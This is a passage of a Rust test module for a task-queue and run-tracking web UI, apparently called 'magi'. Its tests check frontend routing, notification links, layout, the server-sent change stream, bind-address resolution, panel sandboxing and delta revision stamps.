18662 "conduct".to_owned(),
18663 "which?".to_owned(),
18664 String::new(),
18665 Vec::new(),
18666 );
18667 q.say("plain words").unwrap();
18668 q.thread.push(ask::Turn {
18669 who: ask::Who::Agent,
18670 body: "Settled as `merge`".to_owned(),
18671 at: jiff::Timestamp::now(),
18672 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
18673 });
18674 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18675 let notes = &v["thread_notes_md"];
18676 assert_eq!(notes.as_array().unwrap().len(), 2);
18677 assert!(notes[0].is_null());
18678 let text = notes[1].to_string();
18679 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
18680 assert!(APP_JS.contains("ask-turn-note"));
18681 }
18682
18683 #[test]
18684 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
18685 assert!(APP_JS.contains("function landView(run, raw) {"));
18689 assert!(
18690 APP_JS.contains(
18691 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
18692 )
18693 );
18694 assert!(APP_JS.contains("const pr = landView(run, raw);"));
18695 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
18696 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
18697 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
18698 }
18699
18700 #[test]
18701 fn live_runs_are_never_hidden_or_folded_as_superseded() {
18702 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
18703 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
18704 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
18705 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
18706 }
18707
18708 #[test]
18709 fn review_rounds_label_a_distinct_verified_head() {
18710 assert!(APP_JS.contains("round.verified_head"));
18711 assert!(APP_JS.contains("verified HEAD"));
18712 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
18713 }
18714
18715 #[test]
18716 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
18717 assert!(APP_JS.contains("blocked: { glyph:"));
18721 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
18722
18723 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
18727 assert!(
18728 APP_JS.contains(
18729 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
18730 ),
18731 "the note line must name what a blocked task is waiting on, not just that it is blocked"
18732 );
18733 assert!(APP_JS.contains("if (status === \"blocked\") {"));
18737
18738 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
18742 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
18743 assert!(
18744 APP_JS.contains("location.hash = \"#/questions\";"),
18745 "a question node must jump to the Questions screen, not pretend to be a task"
18746 );
18747
18748 assert!(APP_JS.contains("Resolved questions"));
18751 assert!(APP_JS.contains("r.answersList.append("));
18752 assert!(APP_CSS.contains(".task-answers"));
18753 {
18754 let start = APP_JS
18755 .find("function updateTalkTaskRow")
18756 .expect("updateTalkTaskRow");
18757 let body = &APP_JS[start..];
18758 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
18759 assert!(
18760 body.contains(
18761 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
18762 ),
18763 "a chat-filed task row must link to the task page"
18764 );
18765 assert!(
18766 !body.contains("#/runs/") && !body.contains("#/queue/"),
18767 "the row must not branch to a run or the queue card"
18768 );
18769 assert!(APP_CSS.contains(".talk-task-link"));
18770 }
18771 }
18772
18773 #[test]
18774 fn a_task_notification_links_to_the_task_page() {
18775 let start = APP_JS
18777 .find("function noticeLink(")
18778 .expect("noticeLink exists");
18779 let body = &APP_JS[start..];
18780 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
18781 assert!(
18782 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
18783 "a task notice's link must target the task page"
18784 );
18785 assert!(
18786 !body.contains("#/queue/"),
18787 "regression: the task link must not go back to the Backlog route"
18788 );
18789 assert!(
18790 APP_JS.contains(
18791 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18792 ),
18793 "`#/tasks/<id>` must parse into the task route"
18794 );
18795
18796 assert!(
18798 APP_JS.contains(
18799 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18800 ),
18801 "`#/queue/<id>` must parse into a route carrying that id"
18802 );
18803
18804 assert!(APP_JS.contains("state.queueFocus = route.id;"));
18808 assert!(APP_JS.contains("function consumeQueueFocus()"));
18809 assert!(APP_JS.contains("jumpToTask(id)"));
18810 }
18811
18812 #[test]
18813 fn notifications_distinguish_actionable_questions_from_informational_notices() {
18814 let start = APP_JS
18815 .find("function noticeCoveredBy(")
18816 .expect("noticeCoveredBy exists");
18817 let body = &APP_JS[start..];
18818 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18819
18820 assert!(body.contains("Associated question ${short}"));
18822 assert!(!body.contains("el(\"a\""));
18823
18824 assert!(body.contains("(resolved)"));
18826 assert!(body.contains("(closed)"));
18827
18828 let start = APP_JS
18829 .find("function renderNotifications()")
18830 .expect("renderNotifications exists");
18831 let body = &APP_JS[start..];
18832 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
18833
18834 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
18836 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
18837 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
18838 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
18839 }
18840
18841 #[test]
18844 fn chat_rows_put_the_title_alone_on_the_first_line() {
18845 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
18846 assert!(APP_CSS.contains(
18847 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18848 ));
18849 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18850 assert!(APP_JS.contains("class: \"badge talk-unread\""));
18851 }
18852
18853 #[test]
18854 fn run_rows_put_the_title_alone_on_the_first_line() {
18855 assert!(
18856 APP_CSS.contains(
18857 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
18858 )
18859 );
18860 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18861 assert!(APP_JS.contains("class: \"card run-card\""));
18862 assert!(APP_JS.contains("class: \"repo run-id\""));
18863 }
18864
18865 #[test]
18869 fn wide_screens_show_list_and_preview_side_by_side() {
18870 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18872 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18873 assert!(APP_CSS.contains("main[data-split]"));
18874 assert!(APP_CSS.contains("body[data-split]"));
18875
18876 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
18878 assert!(
18879 APP_JS.contains(
18880 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18881 )
18882 );
18883 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18884 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18885 assert!(INDEX_HTML.contains("id=\"split-empty\""));
18886
18887 assert!(APP_JS.contains("function markSelected() {"));
18889 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18890 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18891 assert!(
18893 APP_CSS.contains(
18894 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18895 )
18896 );
18897
18898 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18900 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18901 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18902 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18903
18904 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18908 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18909 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18910 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18911
18912 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18914 }
18915
18916 #[test]
18917 fn panel_sandbox_carries_exactly_popups() {
18918 let needle = "sandbox: \"";
18919 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18920 assert_eq!(
18921 matches.len(),
18922 1,
18923 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18924 );
18925 let start = matches[0].0 + needle.len();
18926 let end = APP_JS[start..]
18927 .find('"')
18928 .expect("sandbox attribute value must be terminated by a closing quote");
18929 let val = &APP_JS[start..start + end];
18930 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18931 let expected: std::collections::BTreeSet<&str> =
18932 ["allow-popups", "allow-popups-to-escape-sandbox"]
18933 .into_iter()
18934 .collect();
18935 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18936 assert!(
18937 !tokens.contains("allow-scripts"),
18938 "allow-scripts must never be present in sandbox"
18939 );
18940 assert!(
18941 !tokens.contains("allow-same-origin"),
18942 "allow-same-origin must never be present in sandbox"
18943 );
18944 }
18945
18946 #[test]
18947 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18948 assert!(
18957 APP_JS.contains(
18958 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
18959 ),
18960 "the search-clearing branch must run before state.queueFocus is cleared, or the \
18961 recursive renderQueue() call has nothing left to jump to"
18962 );
18963 assert!(
18964 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18965 "state.queueFocus must be cleared only once the jump has landed, so a card that \
18966 arrives later still gets it"
18967 );
18968 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18969 assert!(APP_JS.contains("is not in the current Backlog."));
18970 assert!(APP_JS.contains("li.card[data-task-id=\""));
18971 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18972 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18973 assert!(APP_CSS.contains(".card-permalink"));
18974 assert!(APP_CSS.contains(".queue-focus-status"));
18975 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18976 }
18977
18978 #[test]
18979 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18980 assert!(
18988 APP_JS.contains(
18989 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18990 ),
18991 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18992 );
18993 }
18994
18995 #[test]
18996 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18997 assert!(
18998 APP_JS.contains("round.verified_head !== round.head"),
18999 "a round that verified an earlier commit must be visibly distinct from one that \
19000 verified the head reviewers are looking at now"
19001 );
19002 assert!(
19003 APP_JS.contains("round.verified_at"),
19004 "when a check ran must be on the wire, not just which commit"
19005 );
19006 assert!(
19007 APP_JS.contains("resource_blocked"),
19008 "a command magi never got to run (shared build cache contention) must not render \
19009 the same as a command that ran and failed"
19010 );
19011 }
19012
19013 #[test]
19014 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19015 assert!(
19023 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19024 "every KPI tile built through statusTile() must route its click through \
19025 openRunsFiltered, the single place that sets the Runs filter"
19026 );
19027 for (label, status) in [
19028 ("Merged", "merged"),
19029 ("Ready", "ready"),
19030 ("Blocked", "blocked"),
19031 ("Stalled", "stalled"),
19032 ] {
19033 let call = format!("statusTile(\"{label}\", t.{status}, ");
19034 assert!(
19035 APP_JS.contains(&call),
19036 "expected the {label} KPI tile built via {call}..."
19037 );
19038 assert!(
19039 APP_JS.contains(&format!("status === \"{status}\"")),
19040 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19041 compare a run against, not one invented only for the stats tile"
19042 );
19043 }
19044 assert!(
19045 APP_JS.contains("function openRunsFiltered(status)"),
19046 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19047 );
19048 assert!(
19049 APP_JS.contains(
19050 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19051 ),
19052 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19053 );
19054 assert!(
19062 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19063 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19064 hashchange event that may never fire"
19065 );
19066 }
19067
19068 #[test]
19069 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19070 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19076 assert!(
19077 APP_JS.contains(
19078 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19079 ),
19080 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19081 guard for an incompatible tree section"
19082 );
19083 }
19084
19085 #[test]
19086 fn every_stats_queue_tile_names_a_real_queue_section() {
19087 assert!(
19093 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19094 "every queue tile built through sectionTile() must route its click through \
19095 openQueueSectionFocus"
19096 );
19097 for key in ["upnext", "running", "done", "held", "blocked"] {
19098 assert!(
19099 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19100 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19101 );
19102 }
19103 for line in [
19107 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19108 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19109 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19110 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19111 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19112 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19113 ] {
19114 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19115 }
19116 }
19117
19118 #[test]
19119 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19120 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
19127 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
19128 assert!(APP_JS.contains("function revealQueueSection(details)"));
19129 assert!(
19130 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
19131 "renderQueue() must consume both focus channels on every pass"
19132 );
19133 assert!(
19134 APP_JS.contains(
19135 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
19136 ),
19137 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
19138 the recursive renderQueue() call has nothing left to reveal"
19139 );
19140 assert!(
19141 APP_JS.contains(
19142 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
19143 ),
19144 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
19145 );
19146 assert!(
19154 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
19155 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
19156 hashchange event that may never fire"
19157 );
19158 }
19159
19160 #[tokio::test]
19161 async fn the_change_stream_announces_the_current_revisions_on_connect() {
19162 let f = Fixture::start().await;
19163
19164 let mut socket = tokio::net::TcpStream::connect(f.addr)
19165 .await
19166 .expect("connect");
19167 socket
19168 .write_all(
19169 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
19170 )
19171 .await
19172 .expect("write request");
19173
19174 let mut seen = String::new();
19177 let mut buf = [0u8; 1024];
19178 while !seen.contains("event: change") {
19179 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
19180 .await
19181 .expect("the stream must speak within five seconds")
19182 .expect("read");
19183 assert!(read > 0, "the server closed the change stream: {seen}");
19184 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
19185 }
19186
19187 assert!(
19188 seen.to_lowercase()
19189 .contains("content-type: text/event-stream"),
19190 "the browser only reconnects automatically for a real SSE stream: {seen}"
19191 );
19192 let data = seen
19193 .lines()
19194 .find_map(|l| l.strip_prefix("data:"))
19195 .expect("a data line");
19196 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
19197 assert!(
19198 payload["queue_rev"].is_u64()
19199 && payload["runs_rev"].is_u64()
19200 && payload["questions_rev"].is_u64()
19201 && payload["talks_rev"].is_u64()
19202 && payload["notifications_rev"].is_u64()
19203 && payload["loop_rev"].is_u64(),
19204 "the client needs one revision per store to know what to refetch, \
19205 and `talks_rev` is the only notification a standing talk gets - a \
19206 phone whose radio slept through a turn learns about it here, as \
19207 does one whose operator started the loop from another device: \
19208 {payload}"
19209 );
19210
19211 let health = f.get("/api/health").await.json();
19218 for key in [
19219 "queue_rev",
19220 "runs_rev",
19221 "questions_rev",
19222 "talks_rev",
19223 "notifications_rev",
19224 "loop_rev",
19225 ] {
19226 assert!(
19227 health[key].is_u64(),
19228 "health is the change stream's fallback and is missing `{key}`: {health}"
19229 );
19230 }
19231 }
19232
19233 #[tokio::test]
19234 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
19235 let f = Fixture::start().await;
19236 let before = f.get("/api/health").await.json()["talks_rev"]
19237 .as_u64()
19238 .expect("talks_rev");
19239
19240 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
19241 std::thread::sleep(Duration::from_millis(10));
19242 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
19243 on_disk.turns.push(crate::talk::Turn {
19244 sender: None,
19245 breaks: Some(Vec::new()),
19246 messages: Vec::new(),
19247 posted_by: None,
19248 who: crate::talk::Who::Operator,
19249 body: "a new turn".to_owned(),
19250 at: Timestamp::now(),
19251 attachments: Vec::new(),
19252 usage: None,
19253 });
19254 f.talks().put(&mut on_disk).expect("record a turn");
19255
19256 let after = f.get("/api/health").await.json()["talks_rev"]
19257 .as_u64()
19258 .expect("talks_rev");
19259 assert_ne!(
19260 before, after,
19261 "a phone must be able to notice a talk's reply without polling every store"
19262 );
19263 }
19264
19265 #[test]
19266 fn bind_reads_back_from_the_spelling_the_cli_prints() {
19267 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
19271 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
19272 }
19273 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
19274 assert!("everywhere".parse::<Bind>().is_err());
19275 }
19276
19277 #[test]
19278 fn an_explicit_bind_address_is_taken_verbatim() {
19279 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
19280
19281 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
19282
19283 assert_eq!(addr, asked);
19284 assert!(
19285 warning.is_none(),
19286 "an operator who named an address gets no lecture"
19287 );
19288 }
19289
19290 #[test]
19291 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
19292 let (addr, warning) = resolve_bind(&Bind::Auto);
19293
19294 match addr {
19301 IpAddr::V4(ip) if is_tailnet(&ip) => {
19302 assert!(warning.is_none(), "a tailnet address needs no warning");
19303 }
19304 other => {
19305 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
19306 let warning = warning.expect("a fallback has to explain itself");
19307 assert!(
19308 warning.contains("127.0.0.1") && warning.contains("local-only"),
19309 "the warning says what happened and what it costs: {warning}"
19310 );
19311 }
19312 }
19313 }
19314
19315 #[test]
19316 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
19317 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
19321 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
19322 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
19323 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
19324 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
19325 }
19326
19327 #[test]
19328 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
19329 let ids = vec![
19330 "20260902-140501-aaaa".to_owned(),
19331 "20260902-140502-aabb".to_owned(),
19332 ];
19333
19334 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
19335 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
19336 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
19337
19338 assert_eq!(missing.status, StatusCode::NOT_FOUND);
19339 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
19340 assert_eq!(short, "20260902-140502-aabb");
19341 }
19342 #[tokio::test]
19343 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
19344 let fx = Fixture::start().await;
19350 let id = panel(
19351 &fx,
19352 "<img src=\"shot.png\">",
19353 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
19354 );
19355
19356 let doc = fx
19358 .get(&format!("/api/questions/{id}/panel/index.html"))
19359 .await;
19360 assert_eq!(doc.status, 200, "{}", doc.body);
19361 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
19362
19363 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
19364 assert_eq!(sibling.status, 200, "{}", sibling.body);
19365 assert_eq!(sibling.header("content-type"), Some("image/png"));
19366 assert_eq!(
19367 sibling.header("content-security-policy"),
19368 Some(PANEL_CSP),
19369 "the sibling route must carry the same policy as the asset route"
19370 );
19371
19372 assert_eq!(
19375 fx.head(&format!("/api/questions/{id}/panel")).await.status,
19376 200
19377 );
19378 }
19379
19380 #[test]
19381 fn delta_stamps_cover_add_update_remove_and_noop() {
19382 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
19383 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
19384 let delta = diff_stamps(&before, &after, 42);
19385 assert_eq!(delta.base, 42);
19386 assert_eq!(delta.changed, ["b", "c"]);
19387 assert_eq!(delta.removed, ["a"]);
19388 let same = diff_stamps(&after, &after, 43);
19389 assert!(same.changed.is_empty() && same.removed.is_empty());
19390 assert_ne!(stamps_revision(&before), stamps_revision(&after));
19391 let nanos: Stamps = [("b".into(), (2, 20))].into();
19392 let same_ms: Stamps = [("b".into(), (3, 20))].into();
19393 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
19394 assert_eq!(stamps_revision(&Stamps::new()), 0);
19395 }
19396
19397 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
19398 std::fs::create_dir_all(home.join("runs")).unwrap();
19399 Arc::new(Ui::new(
19400 Queue::at(home.join("queue")),
19401 Questions::at(home.join("questions")),
19402 Talks::at(home.join("talks")),
19403 home.join("runs"),
19404 home.to_owned(),
19405 PathBuf::from("/repo/magi"),
19406 ))
19407 }
19408
19409 #[tokio::test]
19410 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
19411 let home = TempDir::new().unwrap();
19412 let ui = delta_test_ui(home.path());
19413 let mut task = Task::new(
19414 "stream task".into(),
19415 "text".into(),
19416 PathBuf::from("/repo"),
19417 Source::Human,
19418 );
19419 ui.queue.put(&mut task).unwrap();
19420 let response = events(State(ui.clone())).await.into_response();
19421 let mut stream = response.into_body().into_data_stream();
19422 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
19423 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
19424 .await
19425 .unwrap()
19426 .unwrap()
19427 .unwrap();
19428 let text = String::from_utf8(chunk.to_vec()).unwrap();
19429 let data = text
19430 .lines()
19431 .find_map(|line| {
19432 line.strip_prefix("data: ")
19433 .or_else(|| line.strip_prefix("data:"))
19434 })
19435 .unwrap();
19436 serde_json::from_str(data).unwrap()
19437 }
19438 let initial = change(&mut stream).await;
19439 assert!(initial.get("queue_delta").is_none());
19440 task.instruction.push_str(" changed");
19441 ui.queue.put(&mut task).unwrap();
19442 let updated = change(&mut stream).await;
19443 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
19444 assert_eq!(
19445 updated["queue_delta"]["changed"],
19446 serde_json::json!([task.id])
19447 );
19448 assert_eq!(
19449 updated["queue_rev"].as_u64(),
19450 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
19451 );
19452 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
19453 let removed = change(&mut stream).await;
19454 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
19455 assert_eq!(
19456 removed["queue_delta"]["removed"],
19457 serde_json::json!([task.id])
19458 );
19459 }
19460
19461 #[tokio::test]
19462 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
19463 let home = TempDir::new().unwrap();
19464 let ui = delta_test_ui(home.path());
19465 let queue = ui.queue.clone();
19466 let query = |ids: Option<&str>| {
19467 Query(ListQuery {
19468 limit: Some(2),
19469 ids: ids.map(str::to_owned),
19470 })
19471 };
19472 let mut root = Task::new(
19473 "root".into(),
19474 "instruction".into(),
19475 PathBuf::from("/repo"),
19476 Source::Human,
19477 );
19478 queue.put(&mut root).unwrap();
19479 let mut blocked = Task::new(
19480 "blocked".into(),
19481 "instruction".into(),
19482 PathBuf::from("/repo"),
19483 Source::Human,
19484 );
19485 blocked.block(vec![root.id.clone()], None);
19486 queue.put(&mut blocked).unwrap();
19487 let whole =
19488 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
19489 .unwrap();
19490 let subset = serde_json::to_value(
19491 queue_list(State(ui.clone()), query(Some(&root.id)))
19492 .await
19493 .unwrap()
19494 .0,
19495 )
19496 .unwrap();
19497 assert_eq!(whole, subset, "requested root plus its blocked dependent");
19498 let blockers = serde_json::to_value(
19499 queue_list(State(ui.clone()), query(Some("")))
19500 .await
19501 .unwrap()
19502 .0,
19503 )
19504 .unwrap();
19505 assert_eq!(blockers.as_array().unwrap().len(), 1);
19506 assert_eq!(blockers[0]["id"], blocked.id);
19507 assert_eq!(
19508 blockers[0]["waits_on"],
19509 whole
19510 .as_array()
19511 .unwrap()
19512 .iter()
19513 .find(|row| row["id"] == blocked.id)
19514 .unwrap()["waits_on"]
19515 );
19516
19517 for id in [
19518 "20260902-140501-aaaa",
19519 "20260902-140502-bbbb",
19520 "20260902-140503-cccc",
19521 ] {
19522 write_run(&ui.runs, id, RunStatus::Merged);
19523 }
19524 let old = serde_json::to_value(
19525 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
19526 .await
19527 .unwrap()
19528 .0,
19529 )
19530 .unwrap();
19531 assert!(
19532 old.as_array().unwrap().is_empty(),
19533 "older updates must not enter the window"
19534 );
19535 let newest = serde_json::to_value(
19536 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
19537 .await
19538 .unwrap()
19539 .0,
19540 )
19541 .unwrap();
19542 assert_eq!(newest.as_array().unwrap().len(), 1);
19543 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
19544
19545 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
19546 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
19547 let talks = serde_json::to_value(
19548 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
19549 .await
19550 .unwrap()
19551 .0,
19552 )
19553 .unwrap();
19554 assert_eq!(talks.as_array().unwrap().len(), 1);
19555 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
19556 assert_eq!(
19557 serde_json::to_value(
19558 talks_list(State(ui.clone()), query(Some("")))
19559 .await
19560 .unwrap()
19561 .0
19562 )
19563 .unwrap(),
19564 serde_json::json!([])
19565 );
19566 }
19567
19568 #[tokio::test]
19569 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
19570 async fn delta_payload_benchmark() {
19571 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
19572 let ui = delta_test_ui(&home);
19573 let query = |ids: Option<String>| {
19574 Query(ListQuery {
19575 limit: Some(50),
19576 ids,
19577 })
19578 };
19579 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
19580 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
19581 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
19582 let queue_id = queue
19583 .iter()
19584 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
19585 .unwrap_or(&queue[0])
19586 .task
19587 .id
19588 .clone();
19589 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
19590 .await
19591 .unwrap()
19592 .0;
19593 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
19594 .await
19595 .unwrap()
19596 .0;
19597 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
19598 .await
19599 .unwrap()
19600 .0;
19601 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
19602 eprintln!(
19603 "DELTA_PAYLOAD {}",
19604 serde_json::json!({
19605 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
19606 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
